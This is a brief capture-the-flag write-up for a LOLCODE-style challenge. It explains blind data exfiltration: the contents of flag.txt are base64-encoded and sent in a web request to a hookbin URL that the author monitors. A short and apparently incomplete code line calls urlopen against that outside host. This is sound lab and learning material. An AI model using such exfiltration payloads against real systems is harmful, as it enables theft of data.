Similar to LOLD2, but now every time you pass your lol script to nc session you would only get a static response back, no real feedback.I was stuck on this challenge for a bit but then I thought about using a web request as a data exfiltration tool. Took me a few minutes to come up with the correct syntax but finally I was able to put this together.
Basically, we are going to read the flag.txt and create a new file called out.txt with the flag inside it. Then we are going to encode the text in out.txt with base64 and make a web request to hookbin where I can monitor the incoming requests and see the base64 encoded data come in. After that I use Cyberchef to decode the data and get the flag.
**import os** - was used so that I can send system command.
**import urllib2** - was used so that I can make web requests to a website like '**hookbin**' where I can monitor all incoming requests, basically I was exfiltration base64 encoded data to a hookbin website. I was able to then review the data and decode it using **Cyberchef**.
**import base64** - was used to encode text so that I can make clean web requests.
```GIMME osGIMME urllib2GIMME base64

urllib2 OWN urlopen WIT 'https://hookb.in/oXkRWwzQ0bhBnPZZXM8y?flag=' ALONG WITH B64!```
